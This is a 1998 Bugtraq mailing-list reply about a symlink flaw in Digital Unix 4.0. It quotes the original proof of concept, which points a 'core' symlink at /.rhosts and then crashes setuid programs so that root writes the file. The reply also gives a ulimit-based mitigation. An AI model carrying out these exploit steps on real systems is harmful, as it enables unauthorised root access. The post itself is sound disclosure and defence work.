Bugtraq mailing list archives
Re: Symlink problem (Tested only on a Digital Unix 4.0)
From: psz () MATHS USYD EDU AU (Paul Szabo)
Date: Tue, 7 Apr 1998 09:17:56 +1000
(Aleph1 and rusty: please ignore my previous, similar message...) rusty () mad it wrote:
Symlink problem in Digital Unix 4.0 ... Starting 2 suid root programs ... and killing them with -11 flag ... $ ln -s /.rhosts core $ ping somehost & [1] 1337 $ ping somehost & [2] 31337 $ kill -11 31337 $ kill -11 1337 [1] Segmentation fault /usr/sbin/ping somehost (core dumped) [2] +Segmentation fault /usr/sbin/ping somehost (core dumped) $ ls -l /.rhosts -rw------- 1 root system 385024 Mar 29 05:17 /.rhosts Other platforms: SunOs 4.1.x 5.5.x Doesn't work Linux 2.0.x Doesn't work Digital Unix 4.0d Doesn't work Others (note tested yet)
I can reproduce this on Digital Unix 4.0B (OSF1 V4.0 564), with just one setuid program: % unsetenv DISPLAY; xterm The only defence I can offer is to put the following line into the file /sbin/rc3 (this is a sh script; most processes run by users are descendants of this): ulimit -h -c 0 However this does not work for processes started from /etc/inittab: getty (console and tty) logins. Instead of modifying /sbin/rc3, you could try changing /etc/inittab to read something like: s3:3:wait:sh -c 'ulimit -h -c 0; /sbin/rc3 < /dev/console > /dev/console 2>&1' cons:1234:respawn:sh -c 'ulimit -h -c 0; /usr/sbin/getty console console vt100' Obviously this prevents creating core files in all cases; fortunately our users never need them to debug their own programs. Paul Szabo - System Manager // School of Mathematics and Statistics psz () maths usyd edu au // University of Sydney, NSW 2006, Australia
Current thread:
- Symlink problem (Tested only on a Digital Unix 4.0) root (Apr 06)
- Re: Symlink problem (Tested only on a Digital Unix 4.0) Jonathan A. Zdziarski (Apr 06)
- <Possible follow-ups>
- Re: Symlink problem (Tested only on a Digital Unix 4.0) Paul Szabo (Apr 06)
- Re: Symlink problem (Tested only on a Digital Unix 4.0) John McDonald (Apr 07)